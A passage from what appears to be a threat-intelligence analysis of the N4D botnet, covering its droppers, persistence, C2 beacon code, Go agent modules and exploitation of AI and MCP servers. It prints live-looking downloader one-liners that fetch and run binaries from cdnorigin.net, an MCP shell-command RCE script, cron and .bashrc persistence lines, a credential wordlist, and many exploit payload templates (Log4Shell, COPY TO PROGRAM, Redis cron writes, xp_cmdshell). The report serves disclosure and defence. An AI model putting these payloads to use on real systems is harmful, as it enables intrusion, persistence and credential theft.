python2 -c "import urllib; urllib.urlretrieve('$H$P','$TF')"
# Method 7: Perl
perl -e "use LWP::Simple; getstore('$H$P','$TF')"
# Method 8 (last resort): BusyBox wget (embedded Linux / IoT)
busybox wget -O "$TF" "$D$P"
# Size validation - reject anything smaller than 3 MB
if [ $(stat -c%s "$TF") -gt 3000000 ]; then
chmod +x "$TF" && "$TF" &
fi
The cdnorigin.net HTTPS URL is always tried first. This ensures that
in environments performing SSL inspection, the server name (rather than a raw IP)
is what appears in inspection logs. Only if HTTPS fails completely does the dropper
fall back to the plain-HTTP direct C2 connection.
Dual Persistence Mechanism
After first successful execution, beacon.sh installs two independent
persistence mechanisms to survive reboots and user session restarts:
# Persistence 1: System cron (requires root)
# Hidden dot-prefixed filename in /etc/cron.d/ avoids cursory inspection
echo "*/2 * * * * root $CMD" > /etc/cron.d/.sys-health
# Runs every 2 minutes as root; re-downloads and re-executes the agent
# Persistence 2: Root .bashrc append
# Triggers on every interactive root login
echo "$CMD &" >> /root/.bashrc
The 2-minute cron interval means an agent killed by a defender is re-launched
within 120 seconds from the same machine. Effective remediation requires both
removing /etc/cron.d/.sys-health AND cleaning the root .bashrc
entry, in addition to terminating the running agent process.
qq_watcher.sh - Confirmed RCE on QQ Bot MCP Server
A separate dropper script targets QQ Message Bot MCP services - instances where the
QQ instant messaging platform's bot API is exposed via an MCP server. The script polls
an MCP endpoint every 5 minutes, initiates a session, then calls
execute_shell_command to download and execute the Go agent:
#!/bin/bash
# Target: QQ Message Bot MCP service (MCP "QQ Message Bot MCP服务")
TARGET_URL="http://[REDACTED]:5000/mcp"
while true; do
# Step 1: MCP initialize - extract mcp-session-id from response headers
SESSION=$(curl -s -D - -X POST "$TARGET_URL" \
-d '{"jsonrpc":"2.0","method":"initialize","id":1,...}' \
| grep -i "mcp-session-id" | awk '{print $2}')
# Step 2: tools/call execute_shell_command with agent download one-liner
curl -s -X POST "$TARGET_URL" \
-H "mcp-session-id: $SESSION" \
-d '{"jsonrpc":"2.0","method":"tools/call","id":2,
"params":{"name":"execute_shell_command",
"arguments":{"command":"curl -fsSLk https://cdnorigin.net/api/agent/binary?arch=amd64 -o /tmp/.agent && chmod +x /tmp/.agent && /tmp/.agent &"}}}'
sleep 300 # poll every 5 minutes
done
Confirmed RCE event. The watcher script's output logs contain a successful execution timestamp: the agent binary was downloaded, made executable, and launched on the QQ bot host at approximately 22:19 UTC on 2026-06-20. The target delivered an agent to a production QQ messaging infrastructure server.
mesh_minimal.py - Python-to-Go Bridge
In environments where the Go binary cannot be directly invoked (restrictive execution
policies, architecture mismatches, or constrained shells), a Python wrapper handles the
transition. mesh_minimal.py (identified as v9.3-go-bridge)
downloads the architecture-appropriate Go agent, launches it as a subprocess, then
self-terminates to leave no Python process in the process list:
# mesh_minimal.py v9.3-go-bridge (simplified)
import subprocess, tempfile, os, requests
arch = subprocess.check_output(["uname", "-m"]).strip().decode()
agent_url = f"https://cdnorigin.net/api/agent/binary?arch={arch}"
data = requests.get(agent_url, verify=False).content
tf = tempfile.mktemp(prefix="kworker")
with open(tf, "wb") as f: f.write(data)
os.chmod(tf, 0o755)
subprocess.Popen([tf], close_fds=True)
os.remove(__file__) # self-delete after launching Go agent
The temp file prefix kworker matches the agent's own process masquerade
string (covered in Section 10), maintaining the kernel worker thread illusion
even during the handoff from Python to Go.
Beacon Endpoint - v4.0
# controller_v4.py - lines 690-704
@app.get("/api/beacon")
async def beacon(req: Request):
"""Phone-home endpoint - called by the beacon script at the START of execution.
Logs the target's IP, arch, and hostname so we can verify command execution."""
ip = req.client.host if req.client else "?"
arch = req.query_params.get("arch", "?")
hostname = req.query_params.get("h", "?")
port = req.query_params.get("p", "0")
ts = time.time()
print(
f"[BEACON] ip={ip} arch={arch} host={hostname} port={port} ts={ts:.0f}",
flush=True
)
with db() as c:
cur = c.cursor()
cur.execute(
"INSERT INTO deploys "
"(target_ip, target_port, target_server, deployed_by, status, created_at) "
"VALUES (%s,%s,%s,%s,%s,%s)",
(ip, int(port), "", "beacon", "beacon", ts)
)
return {"ok": True}
The beacon logs: target IP (from the connecting socket), CPU architecture (from
uname -m in the shell script), hostname, and source port. This gives the
operator everything needed to confirm real code execution and prioritize which hosts
to follow up on manually. The endpoint is listed in OPEN_ENDPOINTS --
it requires no authentication, by design, since the beacon runs before any HMAC
key is present on the victim.
The beacon URL pattern is: GET /api/beacon?arch=<arch>&h=<hostname>&p=<port>.
This pattern appears in network logs as a reliable detection signal for a host
actively being compromised.
13. Go Agent Binary — Full Capability Analysis
Static analysis of the debug build (n4d_debug, 7.3 MB, Jun 26 2026) exposes 170+
named Go functions in the main package. Combined with the Python polymorphic
builder (build_agent.py), the picture that emerges is a two-tier agent design:
a lightweight Python dropper that fetches and executes an obfuscated mesh agent, and a
self-contained Go binary that contains the full exploit arsenal.
Fig. 10 - N4D Go agent capability map: 170+ named functions organized into six attack categories — AI infrastructure, databases, web/app servers, cloud/infra, persistence, and stealth.
Binary Architecture
- Language: Go (goroutine-based concurrency, single statically linked binary)
- Architectures: amd64, arm64, arm, 386 — four simultaneous target platforms
- Variants: debug build (symbols intact, ~7.3 MB) and stripped release (~7.0 MB)
- Build sprint: 60+ numbered versions (v152–v176+) compiled on Jun 26 alone
- Lock file:
/dev/shm/.agent.lockand PID in/dev/shm/.agent.pid— prevents double-execution
Service Probe + Deploy Arsenal (30+ Modules)
Each target service has a paired probe* / deploy* function.
The probe verifies the service is real and not a honeypot; the deploy function executes the
appropriate exploit chain and reports back via POST /api/chains/result/.
| Module | Function pair | Exploit technique |
|---|---|---|
| Elasticsearch | esDeploy | Groovy script injection via _search; Log4Shell via index doc; Watcher cron persistence via /_watcher/watch/ |
| Redis | deployRedisAccess / deployRedisCron | Unauthenticated CONFIG SET to write cron jobs; cron drops next-stage agent |
| PostgreSQL | pgDeploy / pgTryPLUDF / pgDblinkPivot | COPY TO PROGRAM RCE; PL/Perl UDF code exec; dblink lateral pivot to adjacent hosts |
| MySQL | mysqlDeploy / mysqlTryExploit | SELECT INTO OUTFILE cron injection; sys_eval() UDF if available |
| MongoDB | mongoDeploy / mongoWireExploit | Wire-protocol exploit; $where JS eval on older versions; unauthenticated port 27017 |
| Docker API | deployDockerAPI / tryDockerSockEscape | Unauthenticated :2375 container creation; /var/run/docker.sock escape to host |
| Kubernetes | k8sDeploy / etcdK8sPodWithToken | Service account token abuse; etcd→K8s pod injection; kubectl execution; daemonset creation |
| Jenkins | deployJenkins / jenkinsScriptConsole | Script console Groovy RCE; /opt/jenkins/secrets/initialAdminPassword read; CLI remoting |
| Nacos | deployNacos / probeNacos | Unauthenticated config API (/nacos/v1/cs/configs); auth bypass user listing; re-access via backdoor account (POST /nacos/v1/auth/login, form-body: username=n4d_admin&password=n4d_admin123) |
| Spring Gateway | deploySpringGateway | Actuator /actuator/gateway/routes/ SSRF/RCE (CVE-2022-22947) |
| WebLogic | deployWebLogic | JNDI injection via handle parameter; ${T(java.lang.Runtime)} SpEL |
| Consul | consulDeploy | Unauthenticated script health-check registration → RCE |
| XXL-Job | deployXXLJob | Glue source code execution via executor API |
| Airflow | deployAirflow | Unauthenticated API DAG trigger; forged Flask session cookie |
| Superset | deploySuperset / buildSupersetPickle | Default secret key Flask cookie forgery; Python pickle deserialization RCE |
| Splunk | deploySplunk | Custom search command injection; cron persistence via /etc/cron.d/splunk_health |
| MinIO | deployMinIO | Default credentials access; object storage enumeration |
| RabbitMQ | rabbitmqDeploy | Default guest:guest credentials; shovel plugin RCE via management API |
| ActiveMQ | activemqDeploy | Remote code deployment via ActiveMQ XML configuration endpoint |
| Rclone RCD | deployRcloneRCD | Unauthenticated Rclone remote control daemon; arbitrary file read/write via /rc/listhttp |
| Nginx UI | deployNginxUI / deployNginxUIChain | PTY access via /api/pty WebSocket; path traversal to /etc/chromium.d/sys_alias |
| etcd | deployEtcd | Unauthenticated etcd v2/v3 key read; K8s secret extraction from /registry/secrets/ |
| MCP (3 types) | deployMCPFileRead / deployMCPShell / deployMCPSQL | File read, shell execution, SQL execution via MCP tool calls (see Section 03) |
| AKS MCP | exploitAKSMCP | Azure Kubernetes Service MCP server exploitation — cloud + AI tooling combined attack |
AI Infrastructure — Primary Target Category
The most striking aspect of the binary analysis is the density of AI infrastructure targets. The agent treats AI compute platforms as first-class targets, not incidental ones. Each has a dedicated probe + deploy function pair:
| AI Platform | Functions | Why targeted |
|---|---|---|
| LightLLM | probeLightLLM / deployLightLLM | Local LLM inference proxy — API key exposure, model access, GPU pivoting |
| Ray Dashboard | probeRayDashboard / deployRayDashboard | ML compute cluster — unauthenticated port 8265 gives job submission and RCE via /api/jobs/ |
| Jupyter (Notebook) | deployJupyter / jupyterKernelExec | Unauthenticated kernel execution via WebSocket; full Python environment on target |
| Jupyter Gateway | deployJupyterGateway / probeJupyterGateway | Multi-user gateway — SSRF/RCE via kernel namespace injection |
| Marimo | probeMarimo / deployMarimo | Python reactive notebook — RCE via unauthenticated WebSocket API |
| FastGPT Code Server | probeFastGPT / deployFastGPTCodeServer | Code execution environment bundled with FastGPT — direct shell access |
| Grafana Renderer | probeGrafanaRenderer / deployGrafanaRenderer | Headless Chrome renderer — SSRF to internal services |
| MCP Servers (shell) | deployMCPShell / mcpCredHarvest | AI tool-calling servers with execute_command — direct OS access (see Section 03) |
The agent does not opportunistically probe AI platforms. It has dedicated, purpose-built
exploit modules for 8 distinct AI infrastructure types, with a separate credential
harvesting function (mcpCredHarvest) specifically for MCP servers.
LightLLM and Ray Dashboard are primary targets because they expose GPU compute and
model API access — direct monetizable assets.
Credential Harvesting
The main.harvestCreds function has 4 independent sub-routines and is the
primary intelligence collection entry point. main.mcpCredHarvest handles
MCP-specific credential extraction. Per-service intel functions include
pgGatherIntel, mysqlGatherIntel, mongoGatherIntel,
and mongoGatherIntelNoAuth.
Additional collection paths: decryptBackupAndExtractSecret (attempts to
decrypt encrypted backup archives), extractNodeSecretFromIni (reads INI-format
config files for secrets), tryDecryptZipEntries (targets password-protected
ZIP archives), and jenkinsReadFile (reads arbitrary files via Jenkins workspace API).
Persistence — Five Independent Mechanisms
| Function | Path / Method | Survives |
|---|---|---|
installPersistence (cron) | /etc/cron.d/.sys-health, /etc/cron.d/.syscheck | Reboot, login shell restart |
installBashrc | /root/.bashrc append | Every interactive shell spawn |
installSystemd | Systemd unit (service name obscured) | Reboot, service restart |
installSSHKey | ~/.ssh/authorized_keys | Operator direct access — independent of agent |
installWatchdog | Watchdog process monitors agent; restarts on death | Process kill, timeout |
A sixth path was found in the binary: /etc/profile.d/sys_alias.sh, written
by the Nginx UI and Grafana deploy modules as a login-trigger payload.
Stealth & Anti-Forensics
initHardening— initializes anti-debug and anti-ptrace checks at startupsetProcName— renames the process in/proc/self/cmdlineto masquerade as a legitimate system processstealthHeaders/stealthUA— randomizes HTTP headers and User-Agent per requeststealthDelayBeforeProbe— inserts randomized delay before service probing to avoid pattern detectionstealthRST— sends TCP RST after probing to prevent connection log entriescleanupTraces— deletes logs, temp files, and execution artifacts post-operationcleanOldBinaries— removes previous agent binary versions from disk
Network Propagation: CIDR and Lateral Scanning
Two dedicated scanning goroutine clusters drive autonomous network propagation. main.scanCIDR
accepts CIDR blocks from the controller's task queue and fans out parallel probes across the entire range
(confirmed: 5 concurrent goroutine functions in the debug build). main.scanLateral operates
on locally derived target sets — it reads ARP tables, /etc/hosts, and SSH known_hosts entries from the
current host and probes adjacent addresses on the same subnet without waiting for a C2 assignment.
The combination means a newly compromised host begins lateral scanning autonomously within seconds,
independent of whether the controller issues a task.
Honeypot Detection Engine
The agent has a score-based honeypot detection system with five dedicated functions:
hpScoreIP, hpAddScore, hpBlacklistCheck,
hpIsBlacklisted, hpCheckMultiService, and hpVerifyDeploy.
Targets scoring above a threshold are blacklisted and skipped. The Elasticsearch probe
checks for the string es-no-real-data-possible-honeypot as a honeypot signal.
Result type strings es_hp_suspect, docker_hp_suspect, and
consul_hp_suspect are reported back to the C2 to update the global blacklist.
Cloudflare Quick Tunnel Mesh
The string .trycloudflare.com and the function main.startMeshTunnel
confirm that agents can establish outbound Cloudflare Quick Tunnels —
anonymous, certificate-signed HTTPS tunnels at randomly-assigned *.trycloudflare.com
subdomains. This provides a C2 relay path that requires no domain registration, no
static IP, and generates TLS traffic indistinguishable from legitimate Cloudflare traffic.
The main.startRelay function likely uses this channel to allow operators to
reach agents behind NAT or firewall with no inbound port requirements.
Interactive PTY / WebSocket Shell
The binary contains a full WebSocket implementation (wsDial, wsSendText,
makeWSFrame, makeWSBinaryFrame) and connects to the C2 endpoint
/api/pty. This gives operators an interactive pseudo-terminal session through
the C2 web interface. The nginx_ui_pty result type and the Nginx UI exploit
chain (deployNginxUIChain) also grant PTY access on the target side
through the same WebSocket mechanism.
Embedded Credential Wordlist — Full Extraction
String extraction from the binary reveals two distinct credential sets: a generic brute-force password wordlist used across all services, and service-specific default credentials hardcoded per exploit module.
Generic Password Wordlist
| Password | Likely Targets |
|---|---|
| password | PostgreSQL, MySQL, RabbitMQ, Redis, generic |
| admin123 | MySQL, Nacos, XXL-Job, web panels |
| P@ssw0rd | MySQL, MSSQL, PostgreSQL |
| changeme | Jenkins, Grafana, generic defaults |
| Qwer1234 | Generic enterprise, web panels |
| minio123 | MinIO object storage |
| mysql123 | MySQL root / app users |
| tutorial | Superset, Airflow demo instances |
| root123 | FastGPT, generic root users |
| 123456 | Grafana Renderer default, generic |
| postgres2024 | PostgreSQL (year-stamped, updated annually) |
| postgres2025 | PostgreSQL (year-stamped, updated annually) |
| Postgres@123 | PostgreSQL |
| postgrespass | PostgreSQL |
Service-Specific Hardcoded Credentials
| Service | Credential / Secret | Attack vector |
|---|---|---|
| Nacos (backdoor re-access) | n4d_admin : n4d_admin123 | Posted via main.deployNacos to POST /nacos/v1/auth/login (form-urlencoded: username=n4d_admin&password=n4d_admin123); operators create this backdoor account on initially compromised Nacos nodes then use the credential to re-authenticate and deploy the agent on return visits — confirmed by RIP-relative LEA disassembly tracing the string to main.deployNacos in the debug build |
| Grafana Renderer | userName=admin&password=123456 | Login endpoint (/login); also harvests grafana_renderer_default_token |
| Kubernetes | bootstrap-token.abcdef0123456789 | K8s bootstrap token for API server auth during cluster enumeration |
| Spring Gateway | abcdef.0123456789abcdef | Service account token injected in actuator bypass routes |
| Superset | superset_default_key | Flask SECRET_KEY — forges admin session cookies via itsdangerous |
| RabbitMQ | rabbitmq_default_creds | Management API (/api/overview) with default guest:guest |
| MinIO | minio_default_creds + MINIO_ROOT_PASSWORD env harvest | Bootstrap verify endpoint + env var scrape from container metadata |
| XXL-Job | xxl_job_default_creds | Login endpoint (/xxl-job-admin/login), then job injection RCE |
| FastGPT | root123 | Code-server backend (/api/jobs/fastgpt_codeserver_rce) |
The year-stamped PostgreSQL passwords (postgres2024, postgres2025)
confirm the wordlist is actively maintained. A postgres2026 entry should be
expected in future builds.
Exploit URL Templates — Full Extraction
Each exploit module uses a hardcoded URL template with %s:%d (host:port)
substitution. The following templates were extracted verbatim from the binary and grouped
by targeted service.
Elasticsearch / OpenSearch
| URL Template | Technique |
|---|---|
| http://%s:%d/_search?q=${jndi:ldap://%s/a} | Log4Shell via ES search parameter |
| http://%s:%d/${jndi:ldap://%s/a}/_doc | Log4Shell via document index path |
| http://%s:%d/_scripts/groovy | Groovy dynamic script RCE (ES 1.x) |
| http://%s:%d/_search/template | Search template injection |
| http://%s:%d/_watcher/watch/sys-check/_execute | ES Watcher — schedule curl/sh payload |
| http://%s:%d/_ingest/pipeline/sys-health | Ingest pipeline script processor RCE |
| http://%s:%d/_sql | ES SQL endpoint — info gathering |
| http://%s:%d/_snapshot/sysbackup | Snapshot restore → file write path |
| http://%s:%d/_cat/indices?v&h=index,docs.count,store.size | Index enumeration |
| http://%s:%d/_bulk | Bulk index injection |
| http://%s:%d/_cluster/settings | Cluster config enumeration |
PostgreSQL
| SQL / URL | Technique |
|---|---|
| COPY (SELECT 1) TO PROGRAM '%s' | COPY TO PROGRAM — direct OS command execution as postgres user |
| SELECT lo_import('/usr/bin/curl', 99998) | Large object import — smuggle curl binary via SQL |
| SELECT lo_export(lo_from_bytea(0, E'\x%s'), '/tmp/.n4d_pg.sh') | Large object export — write payload script from hex bytes |
| COPY (SELECT '%s') TO '/etc/cron.d/.syscheck' | Cron injection via COPY superuser privilege |
| CREATE OR REPLACE FUNCTION _sys_chk() RETURNS void AS $$ ... $$ LANGUAGE plperl | PL/Perl UDF — exec arbitrary OS commands |
| SELECT dblink_connect('%s'); SELECT * FROM dblink_connect() | dblink lateral pivot to other PostgreSQL instances |
| SELECT usename, passwd FROM pg_shadow | Password hash dump |
| SELECT name, setting FROM pg_settings WHERE name IN ('data_directory','hba_file',...) | Config path enumeration for follow-on file-write attacks |
MySQL / MariaDB
| SQL | Technique |
|---|---|
| SELECT '%s' INTO OUTFILE '/etc/cron.d/.syscheck' | FILE privilege → direct cron write |
| SELECT '%s' INTO OUTFILE '/var/lib/mysql-files/.deploy.sh' | FILE privilege → secure_file_priv bypass via allowed dir |
| SELECT '%s' INTO DUMPFILE '/var/lib/mysql-files/.deploy.sh' | DUMPFILE variant (binary-safe) |
| CREATE EVENT IF NOT EXISTS _sys_check ON SCHEDULE EVERY 1 MINUTE DO SELECT sys_exec('%s') | Event scheduler + sys_exec UDF for persistent execution |
| CREATE TRIGGER sys_trig BEFORE INSERT ON sys_tmp FOR EACH ROW BEGIN SET @cmd=sys_exec('%s'); END | Trigger-based RCE via sys_exec UDF |
| EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE; EXEC xp_cmdshell '%s' | MSSQL xp_cmdshell enable + execute |
| SELECT user, host, authentication_string FROM mysql.user | MySQL 8.x hash dump |
| SELECT table_schema,table_name FROM information_schema.tables | Schema enumeration before credential/data harvest |
MongoDB
| URL / Command | Technique |
|---|---|
| http://%s:28017/admin/$cmd/?filter_eval=%s | MongoDB REST API eval — arbitrary JS execution (MongoDB <3.6) |
| http://%s:28017/file_write_shell | REST API file write path |
| function(){ try { os.system('%s'); } catch(e) { ... } return 1; } | JS payload injected via filter_eval |
| db.adminCommand({serverStatus:1}) | Honeypot detection probe — legitimate servers respond, honeypots often don't |
| system.users / collections_system_users | Credential collection targets via listCollections |
Redis
| Command | Technique |
|---|---|
| CONFIG SET dir /var/spool/cron/crontabs | Redis cron injection — write cron tab via Redis persistence |
| CONFIG SET dbfilename root | Set dump filename to "root" in /var/spool/cron/ |
| SET x %s / BGSAVE | Write payload content then trigger background save |
| FLUSHALL | Clear keyspace before writing payload to avoid noise |
| os.execute('chmod +x /tmp/.n4d_redis.sh && /tmp/.n4d_redis.sh &') return 1 end return 0 | Lua script payload executed via EVAL command |
| *2·$3·GET / *2·$3·DEL | Raw RESP protocol frames — bypasses client library detection |
| redis-accepts-any-password | Internal flag marking unauthenticated Redis instances for auto-exploit |
Kubernetes / etcd / Cloud
| URL Template | Technique |
|---|---|
| https://%s:%d/api/v1/pods?fieldSelector=status.phase=Running | List running pods — target selection |
| https://%s:%d/exec/%s/%s/%s?command=sh&command=-c&command=%s&output=1 | Pod exec — arbitrary command in running container |
| http://%s:%d/v2/keys/registry/secrets?recursive=true | etcd v2 — dump all Kubernetes secrets (API tokens, TLS certs) |
| http://%s:%d/v2/keys/registry/pods/default/sys-health-check | etcd v2 — inject privileged pod definition |
| http://%s:%d/v3/kv/put / /v3/kv/range | etcd v3 gRPC-gateway — read/write all cluster state |
| http://%s:%d/containers/create?name=sys-health-monitor | Docker API — create privileged container |
| http://%s:%d/containers/%s/exec | Docker API — exec in existing container |
| nicolaka/netshoot:latest | Network diagnostic container deployed for internal subnet scanning |
Web / App Servers
| URL Template | Service / Technique |
|---|---|
| http://%s:%d/scriptText | Jenkins Script Console — Groovy RCE |
| http://%s:%d/cli | Jenkins CLI endpoint |
| http://%s:%d/console/console.portal?_nfpb=true&...java.lang.Runtime | WebLogic Admin Console JNDI/RMI injection |
| http://%s:%d/actuator/gateway/routes/sys_health_check | Spring Cloud Gateway actuator route injection → SPEL RCE |
| http://%s:%d/actuator/jolokia / /actuator/env / /actuator/refresh | Spring Boot actuator chain — env leak + SPEL injection |
| http://%s:%d/nacos/v1/cs/configs?dataId=&group=&pageNo=1&pageSize=10 | Nacos unauthenticated config dump |
| http://%s:%d/nacos/v1/auth/users?pageNo=1&pageSize=10 | Nacos unauthenticated user enumeration |
| http://%s:%d/xxl-job-admin/login → /xxl-job-admin/jobinfo/add | XXL-Job default creds login + Groovy job injection |
| http://%s:%d/api/experimental/dags/%s/dag_runs | Apache Airflow unauthenticated DAG trigger (v1 API) |
| http://%s:%d/api/v1/dags/%s/dagRuns | Apache Airflow v2 API DAG run injection |
| http://%s:%d/en-US/splunkd/__raw/v1/postgres/recovery/restore | Splunk PostgreSQL restore — arbitrary file write as splunk user |
| http://%s:%d/api/parameters/rabbitmq_exec/%%2F/sys-check | RabbitMQ management API exec plugin — command execution |
| http://%s:%d/api/parameters/shovel/%%2F/sys-check | RabbitMQ Shovel plugin — message forwarding abuse for RCE |
| http://%s:%d/v1/agent/service/register | Consul unauthenticated service registration — health check RCE |
| http://%s:%d/rc/command / /rc/list / /fs/exec | Rclone RC API — arbitrary filesystem operations |
| http://localhost/","filePath":"../../etc/chromium.d/sys_alias"} | Nginx UI path traversal — write to arbitrary config path |
| http://%s:%d/minio/bootstrap/v1/verify → /login/ | MinIO bootstrap verify + credential bruteforce |
| http://%s:%d/render/csv | Grafana Image Renderer SSRF → arbitrary file read |
| http://%s:%d/api/upload/plugin | Grafana unauthenticated plugin upload (older builds) |
AI / ML Platforms
| URL Template | Service / Technique |
|---|---|
| http://%s:%d/api/kernels → /api/kernels/%s/channels | Jupyter — list kernels then open WebSocket to execute code |
| http://%s:%d/api/kernelspecs | Jupyter Gateway — spec enumeration, reveals kernel types |
| https://%s:%d/run/%s/%s/%s | Ray Dashboard — job submission with arbitrary bash -c entrypoint |
| http://%s:%d/api/jobs/fastgpt_codeserver_rce | FastGPT code-server backend — no-auth code execution |
| http://%s:%d/mcpcontext | MCP server root — session initiation probe |
| http://%s:%d/api/v1/database/ | Superset DB connection API — credential leak via connection test |
| {"name":"python_kubernetes","env":{"KERNEL_POD_NAME":"test-%s","KERNEL_NAMESPACE":"default"}} | Jupyter Enterprise Gateway — spawn kernel pod in default namespace with attack payload |
Exploit Payload Templates — Full Extraction
The binary contains 7 distinct payload language families, each adapted to the target execution environment. All ultimately execute the same downloader one-liner.
| Language | Context | Payload Pattern |
|---|---|---|
| Log4Shell | Any Java app, Elasticsearch, Spring | ${jndi:ldap://%s/a} |
| Groovy (Jenkins) | Jenkins Script Console, Elasticsearch | new ProcessBuilder(new String[]{"sh","-c",params.cmd}).start() |
| Groovy (Runtime) | ES Groovy scripting, Jenkins pipeline | Runtime.getRuntime().exec(new String[]{"sh","-c",params.cmd}) |
| Java Reflection | WebLogic, Spring Boot actuator | Class.forName('java.lang.Runtime').getMethod('exec',...).invoke(..., new String[]{"sh","-c",cmd}) |
| Python SSTI | Jupyter Gateway, Superset, FastGPT | ${__import__('os').system('curl -s -m 30 %s -o /tmp/.n4d && ...')} |
| Lua | Redis EVAL, Nginx Lua modules | os.execute('chmod +x /tmp/.n4d_redis.sh && /tmp/.n4d_redis.sh &') return 1 end return 0 |
| JavaScript | MongoDB eval REST API | function(){ try { os.system('%s'); } catch(e) {} return 1; } |
| Groovy DSL | Jenkins Groovy script, Spring Actuator | def proc = ["sh", "-c", "curl ... /tmp/.n4d ..."].execute() |
| SQL (MySQL UDF) | MySQL with sys_exec UDF loaded | CREATE EVENT ... DO SELECT sys_exec('sh /tmp/.n4d_mysql.sh') |
| Shell multi-method | All — 6-fallback downloader chain | curl → wget → busybox wget → python3 → python2 → perl (chunked 256KB) |
The downloader one-liner is consistent across all payload families:
curl -s -m 30 %s/api/agent/binary?arch=$B -o /tmp/.n4d \
&& chmod +x /tmp/.n4d \
&& setsid /tmp/.n4d </dev/null >/dev/null 2>&1 &
The $B variable resolves to amd64, arm64,
arm, or 386 based on uname -m. The agent also
beacons arch and hostname to /api/beacon?arch=$B&h=$(hostname) before
attempting the download, giving operators real-time visibility into which targets executed
the dropper.
13b. AI/ML Attack Surface: CVE-Confirmed Exploits and Novel Techniques
At probable development time, several modules exploited vulnerabilities with no public CVE. Subsequent disclosures have confirmed CVE assignments for three of the four primary novel exploit chains — LightLLM, Marimo, and Nginx UI — all with CVSS ≥ 9.3. This retroactive confirmation indicates the threat actor identified these attack surfaces before or concurrent with independent public disclosure.
The following analysis is derived from string extraction and symbol table forensics on the
n4d_debug binary combined with source-level review of the Python toolkit.
Disclosure note: Three of the four novel exploit chains have received CVE assignments: CVE-2026-26220 (LightLLM, CVSS 9.3), CVE-2026-39987 (Marimo, CVSS 9.3), and CVE-2026-27944 + CVE-2026-33032 (Nginx UI, both CVSS 9.8 — two CVEs for the same automated chain). All affected vendors have released patches; administrators should apply them immediately. The prompt injection defense detection capability and N4D's generic MCP client framework are not addressed by any current advisory. Specific payload byte sequences are redacted from this public version of the report.
1 — prompt injection detection: Targeting AI Systems with Active Defenses
Confidence: HIGH — direct binary evidence.
At file offset 0x3fe96e the binary encodes the literal string
prompt injection detection packed consecutively with other known result-type tags:
... invalid object identifier
prompt injection detection
/tmp/.n4d_autodeploy_debug
/root/.ssh/authorized_keys
Basic cG9zdGdyZXNfYWRtaW46...
Jupyter Enterprise Gateway
...
Every other value in this region of .rodata is a result-type tag sent back
to the C2 after a successful operation — e.g. nginx_ui_pty,
weblogic_rce, lightllm_rce, docker_hp_suspect.
The position and format of prompt injection detection is structurally
identical to those tags. The interpretation is that when the agent encounters an
AI-assistant or LLM API endpoint that has prompt injection defenses active,
it classifies and reports the target back to the controller under this label.
The adjacent paths (/tmp/.n4d_autodeploy_debug, /root/.ssh/authorized_keys)
suggest the response to detection is escalation: the agent logs the attempt to a debug
file and falls through to SSH key persistence — treating the prompt-injected endpoint
as a compromised host once a foothold is established.
Significance: This is the first malware sample known to the authors that encodes awareness of prompt injection as a security category — not as an attack technique to exploit humans, but as an active defense mechanism on AI infrastructure that the agent must detect, classify, and route around. The implication is that the threat actor is actively engaging with deployed AI systems (LLM APIs, MCP-backed assistants) as attack targets, and has encountered prompt injection defenses in the wild sufficiently often to warrant a dedicated result type.
The closest known parallel in published research is the "Skynet" malware described by Check Point Research in June 2025, which uses prompt injection as an offensive technique — injecting adversarial instructions into AI-processed content to evade AI-based security scanners. N4D's approach is inverted: it is the defender's prompt injection countermeasures that the agent detects and classifies. These are technically distinct capabilities; no published malware family is known to implement N4D's defensive-detection variant.
2 — MCP Protocol Exploitation Framework
Confidence: HIGH — autonomous botnet use case is novel; server-specific CVEs exist but do not cover N4D's generic approach.
The agent implements a complete, purpose-built MCP (Model Context Protocol) client from scratch. MCP is an Anthropic-developed JSON-RPC protocol for connecting AI assistants to external tools, published in November 2024. NSA and CISA published an MCP security advisory on June 2, 2026, and more than 30 CVEs were filed for specific MCP server implementations between January and February 2026 (including CVE-2025-49596, CVSS 9.4, and CVE-2025-6514, CVSS 9.6). None of those advisories address N4D's approach: an autonomous botnet client that probes any MCP-compliant server, enumerates its tool catalog, and exploits whichever dangerous tools it finds — without prior knowledge of the specific server implementation. This generic exploitation framework has no equivalent in published exploit tooling.
The attack chain reconstructed from binary strings:
- Discovery:
probeMCPidentifies MCP servers via HTTP/WebSocket handshake. The agent sendsinitialize+tools/listJSON-RPC calls and parses the returned tool catalog. - Classification:
parseMCPscores tools by dangerousness. Confirmed targeted tool names extracted from binary:execute_command,read_file,file_write,query_database. Cloud-specific tools detected:call_kubectl,call_az,call_helm,call_cilium,call_hubble. - Exploitation:
mcpCallWithInitestablishes a session (mcpInitSession) then invokes dangerous tools directly. Result types confirm two primary paths:mcp_execute_shell— shell command execution via MCP toolsmcp_execute_query— SQL execution via MCP database tools
- Credential harvest:
mcpCredHarvestiterates all server responses looking for secrets. Log strings confirm per-tool tracking:%s mcpCredHarvest %s:%d%s tool=%s text_empty=%dand%s mcpCredHarvest %s:%d%s tool=%s skip: nil=%v hasError=%v.
The exploitAKSMCP module extends this framework to Azure Kubernetes Service
environments where AKS clusters expose MCP servers as AI tooling frontends. The binary
contains the diagnostic string AKS MCP branch for %s:%d confirming a
dedicated branch in the exploit logic for this target type. Failure is tracked separately
as aks_mcp_fail.
3 — LightLLM Pickle Deserialization (CVE-2026-26220)
Confidence: HIGH — CVE-2026-26220 confirmed, CVSS 9.3; actor likely had pre-disclosure knowledge.
The binary contains the result type string lightllm_pickle packed adjacent to
the lightllm_rce success tag and the Apache Superset label. This
naming pattern mirrors the Superset exploitation chain (buildSupersetPickle),
which is a confirmed Python pickle deserialization RCE via forged session cookies (CVE-2023-27524).
LightLLM is an
open-source LLM inference and serving framework. CVE-2026-26220 (CVSS 9.3), publicly
disclosed February 15, 2026 by Chocapikk and assigned by VulnCheck, describes an
unauthenticated remote code execution vulnerability in LightLLM's PD (prefill-decode)
disaggregation mode: the PD master node exposes two WebSocket endpoints —
/pd_register and /kv_move_status — that receive binary frames
and pass the data directly to pickle.loads() without authentication or
validation. The agent's use of makeWSBinaryFrame / makeWSFrameType
WebSocket primitives is consistent with this attack surface.
The vulnerability class was first reported publicly in LightLLM GitHub issue #784
(March 2025) as a ZMQ recv_pyobj() deserialization problem in multi-node mode;
maintainers acknowledged it but did not patch it for eleven months. A comparable issue in
vLLM received CVE-2025-32444 (CVSS 10.0) in April 2025. The N4D binary was compiled
June 26, 2026 — four months after the February 15, 2026 public disclosure — but the
actor's pre-disclosure awareness is plausible given the eleven-month window during which
issue #784 was publicly open and unpatched. No official patch was released for LightLLM
as of the CVE disclosure date.
4 — Marimo Notebook WebSocket Kernel Exploit (CVE-2026-39987)
